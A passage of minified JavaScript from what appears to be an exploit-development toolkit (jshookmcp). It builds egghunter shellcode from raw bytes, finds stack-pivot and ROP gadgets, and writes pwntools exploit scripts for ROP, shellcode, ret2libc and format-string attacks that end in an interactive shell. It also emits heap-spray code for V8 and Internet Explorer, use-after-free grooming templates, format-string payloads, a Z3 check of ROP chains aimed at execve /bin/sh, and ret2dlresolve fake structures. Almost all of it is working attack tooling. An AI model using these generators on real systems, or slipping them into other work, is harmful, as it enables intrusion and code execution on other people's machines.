k(`otool`,[`-hv`,e],{timeout:5e3});n.pie=t.includes(`PIE`)}catch{}return n.canary=t.includes(Buffer.from(`___stack_chk_fail`)),n.aslr=!0,n}},se=class{generatePattern(e,t){let n=t||`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789`,r=n.length,i=this.deBruijn(r,4,n).substring(0,e);return{pattern:i,length:i.length,charset:n}}calculateOffset(e,t){let n=t.replace(/^0x/,``),r=[];for(let e=n.length-2;e>=0;e-=2)r.push(parseInt(n.substring(e,e+2),16));let i=String.fromCharCode(...r),a=e.indexOf(i);if(a===-1)throw Error(`Crash value "${t}" (${i}) not found in pattern`);return{offset:a,matchedValue:i}}deBruijn(e,t,n){let r=Array.from({length:e*t},()=>0),i=[],a=(n,o)=>{if(n>t){if(t%o===0)for(let e=1;e<=o;e++)i.push(r[e])}else{r[n]=r[n-o],a(n+1,o);for(let t=r[n-o]+1;t<e;t++)r[n]=t,a(n+1,n)}};return a(1,1),i.map(e=>n[e]).join(``)}generateMetasploitPattern(e){let t=``;for(let n=0;t.length<e;n++)for(let n=0;n<26&&t.length<e;n++)for(let r=0;r<26&&t.length<e;r++)for(let i=0;i<10&&t.length<e;i++)t+=`ABCDEFGHIJKLMNOPQRSTUVWXYZ`[n]+`abcdefghijklmnopqrstuvwxyz`[r]+`0123456789`[i];return t.substring(0,e)}calculateMetasploitOffset(e){let t=this.generateMetasploitPattern(2e4),n=e.replace(/^0x/,``),r=[];for(let e=n.length-2;e>=0;e-=2)r.push(parseInt(n.substring(e,e+2),16));let i=String.fromCharCode(...r),a=t.indexOf(i);if(a===-1)throw Error(`Crash value not found in pattern`);return a}generateOffsetPattern(e,t=`BBBB`){return this.generateMetasploitPattern(e+t.length).substring(0,e)+t}};const A={enabled:!0,maxEntries:100,maxMemoryBytes:100*1024*1024,ttlGadgets:3600*1e3,ttlMitigations:3600*1e3,ttlRopChain:300*1e3,ttlShellcode:300*1e3};var j=class{cache=new Map;accessOrder=[];stats={hits:0,misses:0,evictions:0};config;constructor(e={}){this.config={...A,...e}}get(e,t){if(!this.config.enabled)return this.stats.misses++,null;let n=this.cache.get(e);if(!n)return this.stats.misses++,null;let r=Date.now()-n.timestamp;return t<=0||r>t?(this.cache.delete(e),this.removeFromAccessOrder(e),this.stats.misses++,null):(this.updateAccessOrder(e),this.stats.hits++,n.data)}set(e,t,n){if(!this.config.enabled)return;let r=this.estimateSize(t);for(;this.getMemoryUsage()+r>this.config.maxMemoryBytes&&this.cache.size>0;)this.evictLRU();for(;this.cache.size>=this.config.maxEntries;)this.evictLRU();let i={data:t,timestamp:Date.now(),binaryHash:n,size:r};this.cache.set(e,i),this.updateAccessOrder(e)}clear(){this.cache.clear(),this.accessOrder=[]}removeByHash(e){let t=0,n=[];for(let[t,r]of this.cache)r.binaryHash===e&&n.push(t);for(let e of n)this.cache.delete(e),this.removeFromAccessOrder(e),t++;return t}getStats(){let e=this.stats.hits+this.stats.misses,t=e>0?this.stats.hits/e:0;return{hits:this.stats.hits,misses:this.stats.misses,evictions:this.stats.evictions,totalRequests:e,hitRate:t,entries:this.cache.size,memoryUsage:this.getMemoryUsage(),maxMemory:this.config.maxMemoryBytes}}resetStats(){this.stats={hits:0,misses:0,evictions:0}}getConfig(){return{...this.config}}updateConfig(e){this.config={...this.config,...e}}async computeBinaryHash(e){return new Promise((t,n)=>{let r=u.createHash(`sha256`),i=c.createReadStream(e);i.on(`data`,e=>r.update(e)),i.on(`end`,()=>t(r.digest(`hex`))),i.on(`error`,n)})}buildGadgetKey(e,t,n,r){return`gadget:${[e,t,n||``,r?.toString()||``].join(`:`)}`}buildRopChainKey(e,t,n){let r=JSON.stringify(n,Object.keys(n).toSorted());return`rop:${e}:${t}:${u.createHash(`sha256`).update(r).digest(`hex`)}`}buildMitigationKey(e){return`mitigation:${e}`}buildShellcodeKey(e,t,n,r){return`shellcode:${u.createHash(`sha256`).update(e).digest(`hex`)}:${t}:${n?n.join(`,`):``}:${r?.toString()||``}`}buildJmpRegisterKey(e,t,n){return`jmp:${e}:${t}:${n}`}updateAccessOrder(e){this.removeFromAccessOrder(e),this.accessOrder.push(e)}removeFromAccessOrder(e){let t=this.accessOrder.indexOf(e);t!==-1&&this.accessOrder.splice(t,1)}evictLRU(){if(this.accessOrder.length===0)return;let e=this.accessOrder[0];this.cache.delete(e),this.accessOrder.shift(),this.stats.evictions++}getMemoryUsage(){let e=0;for(let t of this.cache.values())e+=t.size;return e}estimateSize(e){return JSON.stringify(e).length*2}},M=class{cache;constructor(e){this.cache=e}async handleGetCacheStats(){return r(async()=>this.cache.getStats())}async handleClearCache(){return r(async()=>(this.cache.clear(),{success:!0,message:`Cache cleared successfully`}))}async handleConfigureCache(e){return r(async()=>(this.cache.updateConfig(e),{success:!0,config:this.cache.getConfig()}))}},N=class{generate(e,t,n){if(e===`access`&&t!==`x86`)throw Error(`access(2)-based egghunter is only supported on x86 Linux. x64 uses a different syscall ABI and is not supported.`);if(t!==`x86`&&t!==`x64`)throw Error(`Egghunter is only supported on x86/x64, got: ${t}`);let r;if(n){if(r=parseInt(n.replace(`0x`,``),16),isNaN(r)||r<=0||r>4294967295)throw Error(`Invalid eggTag: "${n}". Must be a valid 4-byte hex value.`)}else r=1351635088;let i=r.toString(16).padStart(8,`0`);switch(e){case`access`:return this.generateAccessEgghunter(r,i);case`seh`:return this.generateSehEgghunter(r,i,t);default:throw Error(`Unsupported egghunter type: ${e}`)}}generateAccessEgghunter(e,t){let n=e&255,r=e>>8&255,i=e>>16&255,a=e>>24&255,o=Buffer.from([102,129,202,255,15,66,141,90,4,106,33,88,205,128,60,242,91,116,237,184,n,r,i,a,137,215,175,117,214,175,117,211,255,231]);return{shellcode:o.toString(`hex`),size:o.length,eggTag:t,notes:[`Linux x86 access(2)-based egghunter (${o.length} bytes)`,`Egg tag: 0x${t} (must appear twice consecutively before real shellcode)`,`Usage: place egg+egg+real_shellcode in memory, then execute this egghunter`,`The egghunter will search all accessible memory pages for the egg pattern`,`Reference: skape, "Safely Searching Process Virtual Address Space" (2004)`]}}generateSehEgghunter(e,t,n){let r=e&255,i=e>>8&255,a=e>>16&255,o=e>>24&255,s=Buffer.from([235,33,89,139,81,12,129,194,0,16,0,0,49,192,194,4,0,129,202,255,15,66,129,58,r,i,a,o,117,246,129,122,4,r,i,a,o,117,237,255,226,51,201,100,255,49,100,137,33]);return{shellcode:s.toString(`hex`),size:s.length,eggTag:t,notes:[`Windows SEH-based egghunter for ${n} (${s.length} bytes)`,`Egg tag: 0x${t} (must appear twice consecutively before real shellcode)`,`Usage: place egg+egg+real_shellcode in process memory, then execute this egghunter`,`Uses FS:[0] SEH chain to safely probe memory pages`,`The SEH handler catches access violations (page faults) and advances to the next page`,`Reference: corelanc0d3r, "Exploit writing tutorial part 8: Win32 egg hunting"`]}}};const P=/xchg\s+\w+,\s*(esp|rsp|sp)/,F=/add\s+(esp|rsp|sp)\s*,/,I=/push\s+\w+/,L=/pop\s+(esp|rsp|sp)/,R=/mov\s+(esp|rsp|sp)\s*,/,z=/\bleave\b/,B=/add\s+(?:esp|rsp|sp)\s*,\s*(0x[0-9a-f]+|\d+)/;var V=class{gadgetFinder=new f;async buildPivot(e,t,n,r){if(!c.existsSync(e))throw Error(`Binary file not found: ${e}`);if(!new Set([`x86`,`x64`,`arm`,`arm64`]).has(t))throw Error(`Unsupported architecture: ${t}. Expected one of: x86, x64, arm, arm64`);let i=c.readFileSync(e),a=await this.gadgetFinder.findGadgets(i,t,{maxDepth:5,maxGadgets:5e3}),o=this.findPivotGadgets(a,n),s=[];s.push(`Stack pivot analysis for ${e} (${t})`),s.push(`Found ${o.length} pivot-relevant gadgets`),n&&s.push(`Filtered by target register: ${n}`);let l;if(r&&o.length>0){let e=this.selectBestPivot(o,t);e&&(l=this.assemblePivotChain(e,t,r),s.push(`Pivot gadget selected: ${e.instruction} @ ${e.address}`),s.push(`Redirect target: ${r}`),s.push(`Stage-2 ROP chain should follow at the pivoted stack location`))}return s.push(this.describePivotStrategy(o,t)),{pivotGadgets:o,count:o.length,arch:t,binaryPath:e,...l?{chain:l}:{},notes:s}}findPivotGadgets(e,t){let n=[],r=new Set;for(let i of e){let e=i.instructions.join(` ; `),a=e.toLowerCase(),o=a.replace(/\s+/g,` `).trim();if(r.has(o)||(r.add(o),!i.effects?.returns&&!a.includes(`ret`)))continue;let s=null;if(a.match(P)?s=`xchg`:a.match(F)?s=`add_esp`:a.match(I)&&a.match(L)?s=`push`:a.match(R)?s=`mov`:a.match(z)&&(s=`leave`),s!==null){if(t){let e=t.toLowerCase();if(s===`xchg`&&!a.includes(`xchg ${e}`)&&!a.includes(`xchg e${e}`)&&!a.includes(`xchg r${e}`))continue}n.push({address:i.address,instruction:e,bytes:i.bytes,type:s})}}return n}selectBestPivot(e,t){let n={xchg:0,push:1,mov:2,leave:3,add_esp:4,other:5},r=null,i=999;for(let t of e){let e=n[t.type]??5;e<i&&(i=e,r=t)}return r}assemblePivotChain(e,t,n){let r=t===`x64`||t===`arm64`?8:4,i=[];if(i.push(e.address.replace(/^0x/,``).padStart(r*2,`0`)),e.type===`add_esp`){let t=e.instruction.toLowerCase().match(B);if(t){let e=parseInt(t[1],t[1].startsWith(`0x`)?16:10),n=Math.max(0,e-r);for(let e=0;e<n;e+=r)i.push(`00`.repeat(r))}}else e.type;let a=n.replace(/^0x/,``).padStart(r*2,`0`);return i.push(a),i.join(``)}describePivotStrategy(e,t){let n={xchg:0,add_esp:0,push:0,mov:0,leave:0,other:0};for(let t of e)n[t.type]=(n[t.type]||0)+1;let r=[];n.xchg>0&&r.push(`${n.xchg} xchg(reg,sp)`),n.push>0&&r.push(`${n.push} push/pop(sp)`),n.leave>0&&r.push(`${n.leave} leave`),n.mov>0&&r.push(`${n.mov} mov(sp,reg)`),n.add_esp>0&&r.push(`${n.add_esp} add(sp,N)`);let i=t===`x64`?`rsp`:t===`x86`?`esp`:`sp`;return r.length===0?`No stack pivot gadgets found. Consider widening the gadget search (try a larger binary like libc) or using ret2libc.`:`Available pivot types: ${r.join(`, `)}. Use xchg-type gadgets for controlled ${i} takeover.`}},H=class{generate(e){try{switch(e.template){case`rop`:return this.genRopScript(e);case`shellcode`:return this.genShellcodeScript(e);case`ret2libc`:return this.genRet2libcScript(e);case`io`:return this.genIoScript(e);case`format`:return this.genFormatScript(e);default:return{success:!1,script:``,template:e.template,dependencies:[],error:`Unknown template: ${e.template}`}}}catch(t){return{success:!1,script:``,template:e.template,dependencies:[],error:t instanceof Error?t.message:String(t)}}}header(e){let t=e.arch??`amd64`;return[`#!/usr/bin/env python3`,`# Auto-generated by jshookmcp exploit-dev domain`,`# Target: `+(e.binary??`unknown`),`# Template: `+e.template,``,`from pwn import *`,``,`context.arch = '${t}'`,`context.log_level = 'debug'`,``,...e.prolog?[e.prolog,``]:[]].join(`
2
+ `)}footer(e){return[``,e.epilog??``,`log.success("Exploit complete. Dropping to interactive shell.")`,`io.interactive()`].join(`
3
+ `)}genRopScript(e){if(!e.ropChain)return{success:!1,script:``,template:`rop`,dependencies:[],error:`ropChain is required for ROP template`};let{chain:t,gadgets:n}=e.ropChain,r=e.binary??`./vuln`,i=e.arch??`amd64`;return{success:!0,script:[this.header(e),`elf = ELF('${r}')`,``,...e.remote?[`io = remote('${e.remote.split(`:`)[0]??`localhost`}', ${e.remote.split(`:`)[1]??1337})`,``]:[`io = process('${r}')`,``],`# Offset to return address`,e.offset?`offset = ${e.offset} # from cyclic-pattern / crash analysis`:`offset = 0 # TODO: determine via pattern offset`,``,`# ROP gadgets (from exploit_find_gadgets + exploit_build_rop_chain)`,...n.map(e=>`${e.effects?.pops??e.instructions[0]?.match(/pop/)?`pop_ret`:`gadget`}_${e.address.replace(`0x`,``)} = ${e.address} # ${e.instructions.join(` ; `)}`),``,`# Build payload`,`chain = b''`,...n.map(e=>`chain += ${i===`amd64`?`p64`:i===`i386`?`p32`:`p64`}(${e.address})`),``,`payload = flat({`,` offset: chain,`,`})`,``,`io.sendline(payload)`,this.footer(e)].join(`
4
+ `),template:`rop`,dependencies:[`pwntools`],caveats:[`Adjust offset before running`,`Verify gadget addresses against the target binary`]}}genShellcodeScript(e){if(!e.shellcode)return{success:!1,script:``,template:`shellcode`,dependencies:[],error:`shellcode is required for shellcode template`};let t=e.binary??`./vuln`;return{success:!0,script:[this.header(e),`elf = ELF('${t}')`,``,...e.remote?[`io = remote('${e.remote.split(`:`)[0]??`localhost`}', ${e.remote.split(`:`)[1]??1337})`,``]:[`io = process('${t}')`,``],`# Shellcode (from jshookmcp exploit_encode_shellcode)`,`shellcode = bytes.fromhex('${e.shellcode.replace(/\s/g,``)}')`,``,e.offset?`offset = ${e.offset} # from cyclic-pattern / crash analysis`:`offset = 0 # TODO: determine offset to return address`,``,`# Find a JMP ESP/RSP gadget or allocate RWX memory`,`log.info(f"Shellcode length: {len(shellcode)} bytes")`,``,`payload = flat({`,` offset: shellcode,`,`})`,``,`io.sendline(payload)`,this.footer(e)].join(`
5
+ `),template:`shellcode`,dependencies:[`pwntools`],caveats:[`Determine offset to EIP/RIP overwrite before running`,`Ensure NX is disabled or use mprotect ROP chain`]}}genRet2libcScript(e){if(!e.oneGadgetOffset)return{success:!1,script:``,template:`ret2libc`,dependencies:[],error:`oneGadgetOffset is required for ret2libc template`};let t=e.binary??`./vuln`,n=e.libcPath??`./libc.so.6`;return{success:!0,script:[this.header(e),`elf = ELF('${t}')`,`libc = ELF('${n}')`,``,...e.remote?[`io = remote('${e.remote.split(`:`)[0]??`localhost`}', ${e.remote.split(`:`)[1]??1337})`,``]:[`io = process('${t}')`,``],`# Stage 1: leak libc address`,`# Replace with actual leak payload (puts@GOT, printf@PLT, etc.)`,e.offset?`offset = ${e.offset} # from cyclic-pattern / crash analysis`:`offset = 0 # TODO: determine offset to return address`,``,`# One-gadget offset (from jshookmcp exploit_discover_one_gadget)`,`one_gadget = ${e.oneGadgetOffset} # constraints: verify before use`,e.libcBase?`libc_base = ${e.libcBase} # known base`:`libc_base = 0 # TODO: compute from leak`,``,`# Stage 2: build payload with one-gadget`,`payload = flat({`,` offset: p64(libc_base + one_gadget),`,`})`,``,`io.sendline(payload)`,this.footer(e)].join(`
6
+ `),template:`ret2libc`,dependencies:[`pwntools`],caveats:[`Determine offset to return address before running`,`Verify that one-gadget constraints are satisfied at jump time`,`Leak libc address via puts/printf/read GOT entry`]}}genIoScript(e){let t=e.binary??`./vuln`;return{success:!0,script:[this.header(e),`elf = ELF('${t}')`,``,...e.remote?[`io = remote('${e.remote.split(`:`)[0]??`localhost`}', ${e.remote.split(`:`)[1]??1337})`,``]:[`io = process('${t}')`,``],...e.payload?[`payload = ${e.payload}`,``,`io.sendline(payload)`,``]:[`# TODO: add your exploit payload here`,``],this.footer(e)].join(`
7
+ `),template:`io`,dependencies:[`pwntools`],caveats:[`Fill in exploit payload before running`]}}genFormatScript(e){let t=e.binary??`./vuln`,n=e.formatArgs,r=n?.writes??[];return{success:!0,script:[this.header(e),`elf = ELF('${t}')`,``,...e.remote?[`io = remote('${e.remote.split(`:`)[0]??`localhost`}', ${e.remote.split(`:`)[1]??1337})`,``]:[`io = process('${t}')`,``],...n?[`# Format string writes`,`writes = {`,...r.map(e=>` ${e.addr}: ${e.value}, # ${e.size}-byte write`),`}`,`payload = fmtstr_payload(${n.offset}, writes)`,``,`io.sendline(payload)`]:[`# TODO: determine format string offset and writes`,`# payload = fmtstr_payload(offset, {target_addr: desired_value})`,`# io.sendline(payload)`],this.footer(e)].join(`
8
+ `),template:`format`,dependencies:[`pwntools`],caveats:[`Determine format string offset before running`,`Verify target addresses`]}}};function U(e){let t=4096;return Math.ceil(e/t)*t}var W=class{archNop(e){switch(e){case`x86`:case`x64`:return 144;case`arm`:case`arm64`:return 3810586624}}generateSpray(e){let t=e.totalSize??1*1024*1024,n=U(e.blockSize??1048576),r=e.nopByte??this.archNop(e.arch),i=Math.floor(t/n),a;a=e.target===`v8`?this.v8SprayCode(n,i,r,e.shellcode,e.arch):e.target===`ie`?this.ieSprayCode(n,i,r,e.shellcode,e.arch):this.genericSprayCode(n,i,r,e.shellcode,e.arch);let o=e.target===`v8`?90:e.target===`ie`?75:70;return{code:a,allocationCount:i,totalMemory:i*n,predictability:o}}v8SprayCode(e,t,n,r,i){return`// V8 heap spray: ${t}x ${(e/1024).toFixed(0)}KB blocks
9
+ // Predictability: ~90% (V8 allocator stable for large ArrayBuffers)
10
+ const sprayCount = ${t};
11
+ const blockSize = ${e};
12
+ const sprayBlocks = [];
13
+
14
+ // Spray phase: allocate ${t} blocks
15
+ for (let i = 0; i < sprayCount; i++) {
16
+ const buf = new ArrayBuffer(blockSize);
17
+ const view = new Uint8Array(buf);
18
+ ${r?`
19
+ // Fill NOP sled + shellcode
20
+ view.fill(${n}); // NOP sled
21
+ // Append shellcode + jump back at block end
22
+ `:` // NOP-only spray block`}
23
+ sprayBlocks.push(buf);
24
+ }
25
+
26
+ // Trigger phase: sprayBlocks hold heap-allocated blocks
27
+ // Use relative addressing or heap feng shui to place controlled data at target address
28
+ // Target address predictability: ~90% (64-bit V8 heap + ASLR bypass via info leak required)
29
+ console.log('Sprayed ' + sprayBlocks.length + ' blocks, ~' +
30
+ (sprayBlocks.length * blockSize / 1024 / 1024).toFixed(1) + 'MB total');`}ieSprayCode(e,t,n,r,i){return`// IE heap spray (BSTR/Array method)
31
+ // Predictability: ~75%
32
+ var shellcode = unescape("${r?`%u`+r.replace(/../g,`$&00`):`%u9090`}");
33
+ var nopBlock = unescape("%u${n.toString(16).padStart(2,`0`)}${n.toString(16).padStart(2,`0`)}");
34
+
35
+ // Pad to target block size
36
+ while (nopBlock.length < ${e/2}) nopBlock += nopBlock;
37
+ nopBlock = nopBlock.substring(0, ${e/2-(r?.length??4)/2-2});
38
+
39
+ var spray = new Array();
40
+ for (var i = 0; i < ${t}; i++) {
41
+ spray[i] = nopBlock + shellcode;
42
+ }`}genericSprayCode(e,t,n,r,i){return`// Generic heap spray (ArrayBuffer)
43
+ const blocks = [];
44
+ for (let i = 0; i < ${t}; i++) {
45
+ blocks.push(new ArrayBuffer(${e}));
46
+ }`}generateUAFHook(e){let t=this.estimateObjectSize(e.targetObject,e.arch),n=this.buildGrooming(e.targetObject,t),r=this.buildTrigger(e.targetObject,e.offset);return{steps:[`1. Allocate N ${e.targetObject} objects (fill freelist bucket)`,`2. For object at index i: force GC/reference drop → free()`,`3. Allocate AttackerObject of similar size (~${t}B) → reuses freed slot`,`4. Attacker content now aliased into ${e.targetObject}'s memory at +${e.offset}`,`5. Trigger dangling ${e.targetObject} reference → arbitrary ${e.value} at controlled offset`],grooming:n,trigger:r,successConditions:[`Allocator places objects in same size bucket (${t}B range)`,`No ASLR randomization between free() and re-allocate()`,`Target object field at offset accessible post-corruption`]}}estimateObjectSize(e,t){return{ArrayBuffer:32,Uint8Array:56,Function:64,Object:32,Date:40,RegExp:48}[e]??32}buildGrooming(e,t){return`// Heap grooming for ${e} UAF
47
+ // Step 1: Allocate victim ${e} objects (fill the freelist)
48
+ const victims = [];
49
+ for (let i = 0; i < 100; i++) {
50
+ victims.push(new ${e}(${t>32?t:``}));
51
+ }
52
+
53
+ // Step 2: Create hole by de-referencing victims[50]
54
+ delete victims[50]; // or victims[50] = null; then force GC
55
+
56
+ // Step 3: Allocate attacker in freed slot
57
+ const attacker = new ArrayBuffer(${t}); // object at same addr
58
+
59
+ // Step 4: Use dangling reference via victims array`}buildTrigger(e,t){return`// Trigger: access dangling ${e} reference
60
+ // victims[50] still held by stale reference → reads attacker data
61
+ // Write controlled value at object + ${t}
62
+ const dv = new DataView(attacker);
63
+ // Controlled bytes at offset ${t}`}generateFormatString(e){let t=e.arch,n=!(t===`arm`||t===`arm64`),r=BigInt(`0x`+e.targetValue.replace(/^0x/,``)),i=[],a=t.includes(`64`)?8:4;for(let o=0;o<4&&(t.includes(`64`)||o<2);o++){let t=Number(r>>BigInt(o*16)&65535n);if(t===0)continue;let s=Buffer.alloc(a);if(n){let t=BigInt(`0x`+e.targetAddress.replace(/^0x/,``))+BigInt(o*2);a===8?s.writeBigUInt64LE(t,0):s.writeUInt32LE(Number(t),0)}i.push({value:t,addr:s})}i.sort((e,t)=>e.value-t.value);let o=``,s=0;if(e.directAccess){let t=[];for(let n of i){let r=n.value-s;r>0&&t.push(`%${r}c`),t.push(`%${e.vulnOffset+i.indexOf(n)}$hn`),s=n.value}o=t.join(``);for(let e of i)o+=e.addr.toString(`binary`)}else{for(let e of i)o+=e.addr.toString(`binary`);for(let e of i){let t=e.value-s;t>0&&(o+=`%${t}c`),o+=`%hn`,s=e.value}}let c=Math.max(...i.map(e=>e.value))>65535?`low`:i.length<=2?`high`:`medium`;return{payload:Buffer.from(o,`binary`).toString(`hex`),writeCount:i.length,reliability:c}}};async function G(t){let o=t.constraints,s=t.variables;if(!Array.isArray(o)||o.length===0)return n({success:!1,error:`constraints must be a non-empty array of JS expression strings`});let c=o.map(String);if(c.some(e=>typeof e!=`string`||!e.trim()))return n({success:!1,error:`each constraint must be a non-empty string`});if(!Array.isArray(s)||s.length===0)return n({success:!1,error:`variables must be a non-empty array of {name, type, bits?}`});let l=s.map(e=>{let t=String(e.name??``),n=String(e.type??`int`),r=e.bits?Number(e.bits):void 0;if(!t)throw Error(`variable name is required`);return{name:t,type:n,bits:r}}),u=typeof t.timeout==`number`?t.timeout:e,d=t.getModel!==!1;return r(async()=>{let e=Date.now(),t=`none`,n=null,r,o=await i(async e=>{t=`z3`;let i=new e.Context(`main`),{Solver:o,And:s}=i,f=new o;f.set(`timeout`,Math.max(u,1e3));let p=[];for(let t of c)p.push(a(t,e,i,l));let m;m=p.length===1?p[0]:s(...p),f.add(m);let h=await f.check();if(h===`sat`){if(n=!0,d){let e=f.model();r={};for(let t of l)try{let n;switch(t.type){case`int`:n=i.Int.const(t.name);break;case`bool`:n=i.Bool.const(t.name);break;case`real`:n=i.Real.const(t.name);break;case`bitvec`:n=i.BitVec.const(t.name,t.bits??64);break}let a=e.get(n);a!=null&&(r[t.name]=a.toString())}catch{}}}else n=h===`unsat`?!1:null;return!0},u),s=Date.now()-e;return o===null?ce(c,l)?{success:!0,sat:!1,model:void 0,solverUsed:`none`,timeMs:s,note:`Z3 unavailable; trivial regex check found UNSAT`}:{success:!1,sat:null,error:`Z3 solver is not available. Ensure your Node environment supports SharedArrayBuffer and z3-solver is installed.`,solverUsed:`none`,timeMs:s}:{success:!0,sat:n,model:r,solverUsed:t,timeMs:s}})}function ce(e,t){let n=/(\w+)\s*>\s*(-?\d+)/,r=/(\w+)\s*<\s*(-?\d+)/;for(let t of e){let i=t.match(n);if(i)for(let t of e){let e=t.match(r);if(e&&i[1]===e[1]&&i[2]&&e[2]&&Number(i[2])>=Number(e[2]))return!0}}return!1}const le={x86:4,x64:8,arm:4,arm64:8};function K(e){let t=e.toLowerCase().replace(/^0x/,``),n=BigInt(`0x`+t).toString(16);return n===`0`?`0`:n.replace(/^0+/,``)}function ue(e,t,n){let r=new Map;if(e===`execve`)t===`x64`?(r.set(`rax`,59),r.set(`rdi`,n.command?String(n.command):`/bin/sh`),r.set(`rsi`,0),r.set(`rdx`,0)):t===`x86`&&(r.set(`eax`,11),r.set(`ebx`,n.command?String(n.command):`/bin/sh`),r.set(`ecx`,0),r.set(`edx`,0));else if(e===`write_memory`)r.set(t===`x64`?`rdi`:`eax`,n.address?String(n.address):``),r.set(t===`x64`?`rsi`:`ebx`,n.value?String(n.value):``);else if(e===`call_function`&&t===`x64`){let e=[`rdi`,`rsi`,`rdx`,`rcx`,`r8`,`r9`];(n.args??[]).forEach((t,n)=>{n<e.length&&r.set(e[n],t)})}return r}function de(e){let t=new Set;for(let n of e){let e=n.gadget;if(e)for(let n of e.effects?.pops??[])t.add(n)}return t}async function fe(t){let a=t.chain,s=t.goal,l=t.arch;if(typeof a!=`string`||!/^[0-9a-fA-F]+$/.test(a)||a.length===0)return n({success:!1,error:`chain must be a non-empty hex string of addresses`});if(![`execve`,`write_memory`,`call_function`].includes(s))return n({success:!1,error:`Invalid goal: ${s}`});if(![`x86`,`x64`,`arm`,`arm64`].includes(l))return n({success:!1,error:`Invalid arch: ${l}`});let u;if(Array.isArray(t.gadgets)&&t.gadgets.length>0)u=t.gadgets;else if(typeof t.binaryPath==`string`&&t.binaryPath){if(!c.existsSync(t.binaryPath))return n({success:!1,error:`Binary file not found: ${t.binaryPath}`});let e=c.readFileSync(t.binaryPath);u=await new f().findGadgets(e,l,{maxDepth:6,maxGadgets:5e3})}else return n({success:!1,error:`Either gadgets (array) or binaryPath (string) is required`});let d=le[l],p=a.length%(d*2)==0?a:a.padStart(Math.ceil(a.length/(d*2))*(d*2),`0`),m=[];for(let e=0;e<p.length;e+=d*2){let t=p.slice(e,e+d*2),n=`0x`+Buffer.from(t,`hex`).reverse().toString(`hex`),r=K(n),i=u.find(e=>K(e.address)===r)??null;m.push({address:n,gadget:i})}let h=de(m),g=ue(s,l,{command:t.command,address:t.address,value:t.value,functionAddress:t.functionAddress,args:t.args}),_={};for(let e of h)_[e]=`set (stack-controlled)`;let v=Date.now(),y=[];for(let e of m)e.gadget||y.push(`Unmatched chain address: ${e.address}`);let b=!1;for(let e of m)e.gadget?.instructions.some(e=>e.includes(`syscall`))&&(b=!0);s===`execve`&&!b&&y.push(`execve goal requires a syscall gadget in the chain`);let x=[];for(let[e,t]of g)h.has(e)||x.push(`Register ${e} is not set by any gadget in the chain`);let S=`none`,C=x.length===0&&(s!==`execve`||b);if(o())S=`none`,y.push(`Z3 unavailable (WASM init failed); used structural verification only`);else{let t=await i(async t=>{let n=new t.Context(`main`),{Solver:r,Int:i,And:a,Or:o}=n,c=new r;c.set(`timeout`,e);let l=[];for(let[e,t]of g)if(h.has(e)&&typeof t==`number`){let n=i.const(e);l.push(n.eq(t))}return s===`execve`&&l.push(n.Bool.val(b)),l.length===0&&l.push(n.Bool.val(!0)),c.add(a(...l)),await c.check()},e);t===null?(S=`none`,y.push(`Z3 unavailable; used structural verification only`)):(S=`z3`,C=t===`sat`&&x.length===0&&(s!==`execve`||b),t!==`sat`&&x.push(`Z3 reports the numeric constraints are unsatisfiable`))}S===`none`&&(S=`greedy`);let w=Date.now()-v;return r(async()=>({valid:C,solverUsed:S,decoded:m,finalRegisters:_,violations:x,warnings:y,timeMs:w}))}function q(e,t){return e[t]|e[t+1]<<8}function J(e,t){return e[t]|e[t+1]<<8|e[t+2]<<16|e[t+3]<<24}function Y(e,t){let n=J(e,t),r=J(e,t+4);return BigInt(n)|BigInt(r)<<32n}function pe(e,t=!1){let n=new Map;for(let t of e)n.set(t.tag,t.value);let r=n.has(24),i=((n.get(1879048187)??0)&1)!=0,a=((n.get(30)??0)&8)!=0,o=r||i||a,s;s=t&&o?`full`:t?`partial`:`none`;let c=n.has(1879047925)&&n.has(1879048176);return{relro:s,bindNow:o,glibc34:c}}function me(e,t){let n=t===`x64`,r=e.replace(/\s/g,``),i=new Uint8Array(r.length/2);for(let e=0;e<r.length;e+=2)i[e/2]=parseInt(r.substring(e,e+2),16);if(J(i,0)!==1179403647)throw Error(`Not a valid ELF file (bad magic)`);let a=i[4];if(a!==(n?2:1))throw Error(`ELF class mismatch: expected ${n?`ELF64`:`ELF32`}, got ${a===2?`ELF64`:`ELF32`}`);let o=0,s=0,c=0;n?(o=Number(Y(i,32)),s=q(i,54),c=q(i,56)):(o=J(i,28),s=q(i,42),c=q(i,44));let l=0,u=0,d=0,f=0,p=0,m=!1;for(let e=0;e<c;e++){let t=o+e*s,r=J(i,t);if(r===1685382482&&(m=!0),r===2){let e=n?Number(Y(i,t+8)):J(i,t+4),r=n?Number(Y(i,t+32)):J(i,t+16),a=n?16:8;for(let t=0;t<r;t+=a){let r=e+t;if(r+a>i.length)break;let o=n?Number(Y(i,r)):J(i,r),s=n?Number(Y(i,r+8)):J(i,r+4);if(o===23)l=s;else if(o===6)u=s;else if(o===5)d=s;else if(o===3)f=s;else if(o===0)break}}}let h,g,_;n?(h=Number(Y(i,40)),g=q(i,58),_=q(i,60)):(h=J(i,32),g=q(i,46),_=q(i,48));let v=[];for(let e=0;e<_;e++){let t=h+e*g;if(t+g>i.length)break;v.push({name:``,type:J(i,t+4),addr:n?Number(Y(i,t+16)):J(i,t+12),offset:n?Number(Y(i,t+24)):J(i,t+16),size:n?Number(Y(i,t+32)):J(i,t+20),entsize:n?Number(Y(i,t+56)):J(i,t+36),flags:n?Number(Y(i,t+8)):J(i,t+8),link:J(i,t+(n?40:32)),info:J(i,t+(n?44:36)),addralign:n?Number(Y(i,t+48)):J(i,t+40)})}let y=0,b=0;for(let e of v)e.type===1&&e.flags&4&&e.name===``&&e.size>0&&e.size<4096&&e.addr>b&&(y=e.addr),e.type===1&&(e.flags&6)==6&&e.size>b&&(b=e.size);return p=y===0?n?f?f+32:0:f?f+16:0:y,{is64bit:n,jmprel:l,symtab:u,strtab:d,pltgot:f,baseAddr:0,plt0Addr:p,sections:v,hasGnuRelro:m}}function he(e,t,n,r,i,a){let o=a??r+8,s=new Uint8Array(8),c=o;s[0]=c&255,s[1]=c>>8&255,s[2]=c>>16&255,s[3]=c>>24&255;let l=r+8,u=X(l,t,16),d=new Uint8Array(u),f=l+u,p=(f-t)/16<<8|7;s[4]=p&255,s[5]=p>>8&255,s[6]=p>>16&255,s[7]=p>>24&255;let m=new Uint8Array(16),h=f+16-n;m[0]=h&255,m[1]=h>>8&255,m[2]=h>>16&255,m[3]=h>>24&255,m[12]=18,m[13]=0,m[14]=0,m[15]=0;let g=new TextEncoder().encode(i+`\0`);return{fakeRel:s,alignmentPadding:d,fakeSym:m,symbolName:new 